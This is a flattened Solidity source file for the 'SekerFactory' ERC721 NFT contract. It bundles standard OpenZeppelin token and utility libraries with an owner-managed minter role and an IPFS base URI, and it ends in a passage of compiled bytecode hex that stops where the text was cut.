{safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: LGPL-3.0-only pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract SekerFactory is ERC721URIStorage, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; mapping(address => bool) public minters; event MinterAdded(address indexed newMinter); event MinterRemoved(address indexed oldMinter); /// @dev Restricted to members of the user role. modifier onlyMinter() { require(isMinter(msg.sender), "Restricted to minters"); _; } constructor() ERC721("Seker Factory 001", "SF001") { minters[address(0x7735b940d673344845aC239CdDddE1D73b5d5627)] = true; _transferOwnership(address(0x7735b940d673344845aC239CdDddE1D73b5d5627)); } function mint(string memory _tokenURI) public onlyMinter { uint256 newNFT = _tokenIds.current(); _safeMint(msg.sender, newNFT); _setTokenURI(newNFT, _tokenURI); _tokenIds.increment(); } /// @dev Add an account to the user role. Restricted to admins. function addMinter(address account) public onlyOwner { require(minters[account] == false, "account is already a minter"); minters[account] = true; emit MinterAdded(account); } /// @dev Remove an account to the user role. Restricted to admins. function removeMinter(address account) public onlyOwner { require(minters[account] == true, "account is already a minter"); minters[account] = false; emit MinterRemoved(account); } /// @dev Return `true` if the account belongs to the user role. function isMinter(address account) public view returns (bool) { return minters[account]; } function _baseURI() internal view virtual override returns (string memory) { return "https://sekerfactory.mypinata.cloud/ipfs/"; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063b88d4fde1161007c578063b88d4fde14610338578063c87b56dd14610354578063d85d3d2714610384578063e985e9c5146103a0578063f2fde38b146103d0578063f46eccc4146103ec57610137565b80638da5cb5b1461029457806395d89b41146102b2578063983b2d56146102d0578063a22cb465146102ec578063aa271e1a1461030857610137565b80633092afd5116100ff5780633092afd5146101f257806342842e0e1461020e5780636352211e1461022a57806370a082311461025a578063715018a61461028a57610137565b806301ffc9a71461013c57806306fdde031461016c578063081812fc1461018a578063095ea7b3146101ba57806323b872dd146101d6575b600080fd5b610156600480360381019061015191906123ea565b61041c565b60405161016391906128d1565b60405180910390f35b6101746104fe565b60405161018191906128ec565b60405180910390f35b6101a4600480360381019061019f919061248d565b610590565b6040516101b1919061286a565b60405180910390f35b6101d460048036038101906101cf91906123aa565b610615565b005b6101f060048036038101906101eb9190612294565b61072d565b005b61020c60048036038101906102079190612227565b61078d565b005b61022860048036038101906102239190612294565b61093a565b005b610244600480360381019061023f919061248d565b61095a565b604051610251919061286a565b60405180910390f35b610274600480360381019061026f9190612227565b610a0c565b6040516102819190612b8e565b60405180910390f35b610292610ac4565b005b61029c610b4c565b6040516102a9919061286a565b60405180910390f35b6102ba610b76565b6040516102c791906128ec565b60405180910390f35b6102ea60048036038101906102e59190612227565b610c08565b005b6103066004803603810190610301919061236a565b610db5565b005b610322600480360381019061031d9190612227565b610dcb565b60405161032f91906128d1565b60405180910390f35b610352600480360381019061034d91906122e7565b610e21565b005b61036e6004803603810190610369919061248d565b610e83565b60405161037b91906128ec565b60405180910390f35b61039e60048036038101906103999190612444565b610fd5565b005b6103ba60048036038101906103b59190612254565b61104d565b6040516103c791906128d1565b60405180910390f35b6103ea60048036038101906103e59190612227565b6110e1565b005b61040660048036038101906104019190612227565b6111d9565b60405161041391906128d1565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104e757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806104f757506104f6826111f9565b5b9050919050565b60606000805461050d90612de4565b80601f016020809104026020016040519081016040528092919081815260200182805461053990612de4565b80156105865780601f1061055b57610100808354040283529160200191610586565b820191906000526020600020905b81548152906001019060200180831161056957829003601f168201915b5050505050905090565b600061059b82611263565b6105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d190612aee565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006106208261095a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068890612b4e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166106b06112cf565b73ffffffffffffffffffffffffffffffffffffffff1614806106df57506106de816106d96112cf565b61104d565b5b61071e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071590612a0e565b60405180910390fd5b61072883836112d7565b505050565b61073e6107386112cf565b82611390565b61077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612b6e565b60405180910390fd5b61078883838361146e565b505050565b6107956112cf565b73ffffffffffffffffffffffffffffffffffffffff166107b3610b4c565b73ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090612b0e565b60405180910390fd5b60011515600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461089c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610893906129ce565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b61095583838360405180602001604052806000815250610e21565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fa90612a4e565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7490612a2e565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610acc6112cf565b73ffffffffffffffffffffffffffffffffffffffff16610aea610b4c565b73ffffffffffffffffffffffffffffffffffffffff1614610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3790612b0e565b60405180910390fd5b610b4a60006116d5565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610b8590612de4565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb190612de4565b8015610bfe5780601f10610bd357610100808354040283529160200191610bfe565b820191906000526020600020905b815481529060010190602001808311610be157829003601f168201915b5050505050905090565b610c106112cf565b73ffffffffffffffffffffffffffffffffffffffff16610c2e610b4c565b73ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b90612b0e565b60405180910390fd5b60001515600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e906129ce565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b610dc7610dc06112cf565b838361179b565b5050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e32610e2c6112cf565b83611390565b610e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6890612b6e565b60405180910390fd5b610e7d84848484611908565b50505050565b6060610e8e82611263565b610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490612ace565b60405180910390fd5b6000600660008481526020019081526020016000208054610eed90612de4565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1990612de4565b8015610f665780601f10610f3b57610100808354040283529160200191610f66565b820191906000526020600020905b815481529060010190602001808311610f4957829003601f168201915b505050505090506000610f77611964565b9050600081511415610f8d578192505050610fd0565b600082511115610fc2578082604051602001610faa929190612846565b60405160208183030381529060405292505050610fd0565b610fcb84611984565b925050505b919050565b610fde33610dcb565b61101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612a8e565b60405180910390fd5b60006110296008611a2b565b90506110353382611a39565b61103f8183611a57565b6110496008611acb565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6110e96112cf565b73ffffffffffffffffffffffffffffffffffffffff16611107610b4c565b73ffffffffffffffffffffffffffffffffffffffff161461115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115490612b0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c49061292e565b60405180910390fd5b6111d6816116d5565b50565b60096020528060005260406000206000915054906101000a900460ff1681565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661134a8361095a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061139b82611263565b6113da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d1906129ee565b60405180910390fd5b60006113e58361095a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061145457508373ffffffffffffffffffffffffffffffffffffffff1661143c84610590565b73ffffffffffffffffffffffffffffffffffffffff16145b806114655750611464818561104d565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661148e8261095a565b73ffffffffffffffffffffffffffffffffffffffff16146114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db9061294e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b9061298e565b60405180910390fd5b61155f838383611ae1565b61156a6000826112d7565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115ba9190612cfa565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116119190612c73565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46116d0838383611ae6565b505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561180a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611801906129ae565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516118fb91906128d1565b60405180910390a3505050565b61191384848461146e565b61191f84848484611aeb565b61195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061290e565b60405180910390fd5b50505050565b606060405180606001604052806029815260200161357660299139905090565b606061198f82611263565b6119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c590612b2e565b60405180910390fd5b60006119d8611964565b905060008151116119f85760405180602001604052806000815250611a23565b80611a0284611c82565b604051602001611a13929190612846565b6040516020818303038152906040525b915050919050565b600081600001549050919050565b611a53828260405180602001604052806000815250611de3565b5050565b611a6082611263565b611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9690612a6e565b60405180910390fd5b80600660008481526020019081526020016000209080519060200190611ac692919061203b565b505050565b6001816000016000828254019250508190555050565b505050565b505050565b6000611b0c8473ffffffffffffffffffffffffffffffffffffffff16611e3e565b15611c75578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611b356112cf565b8786866040518563ffffffff1660e01b8152600401611b579493929190612885565b602060405180830381600087803b158015611b7157600080fd5b505af1925050508015611ba257506040513d601f19601f82011682018060405250810190611b9f9190612417565b60015b611c25573d8060008114611bd2576040519150601f19603f3d011682016040523d82523d6000602084013e611bd7565b606091505b50600081511415611c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c149061290e565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611c7a565b600190505b949350505050565b60606000821415611cca576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611dde565b600082905060005b60008214611cfc578080611ce590612e47565b915050600a82611cf59190612cc9565b9150611cd2565b60008167ffffffffffffffff811115611d1857611d17612f7d565b5b6040519080825280601f01601f191660200182016040528015611d4a5781602001600182028036833780820191505090505b5090505b60008514611dd757600182611d639190612cfa565b9150600a85611d729190612e90565b6030611d7e9190612c73565b60f81b818381518110611d9457611d93612f4e565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611dd09190612cc9565b9450611d4e565b8093505050505b919050565b611ded8383611e61565b611dfa6000848484611aeb565b611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e309061290e565b60405180910390fd5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612aae565b60405180910390fd5b611eda81611263565b15611f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f119061296e565b60405180910390fd5b611f2660008383611ae1565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f769190612c73565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461203760008383611ae6565b5050565b82805461204790612de4565b90600052602060002090601f01602090048101928261206957600085556120b0565b82601f1061208257805160ff19168380011785556120b0565b828001600101855582156120b0579182015b828111156120af578251825591602001919060010190612094565b5b5090506120bd91906120c1565b5090565b5b808211156120da5760008160009055506001016120c2565b5090565b60006120f16120ec84612bce565b612ba9565b90508281526020810184848401111561210d5761210c612fb1565b5b612118848285612da2565b509392505050565b600061213361212e84612bff565b612ba9565b90508281526020810184848401111561214f5761214e612fb1565b5b61215a848285612da2565b509392505050565b60008135905061217181613519565b92915050565b60008135905061218681613530565b92915050565b60008135905061219b81613547565b92915050565b6000815190506121b081613547565b92915050565b600082601f8301126121cb576121ca612fac565b5b81356121db8482602086016120de565b91505092915050565b600082601f8301126121f9576121f8612fac565b5b8135612209848260208601612120565b91505092915050565b6000813590506122218161355e565b92915050565b60006020828403121561223d5761223c612fbb565b5b600061224b84828501612162565b91505092915050565b6000806040838503121561226b5761226a612fbb565b5b600061227985828601612162565b925050602061228a85828601612162565b9150509250929050565b6000806000606084860312156122ad576122ac612fbb565b5b60006122b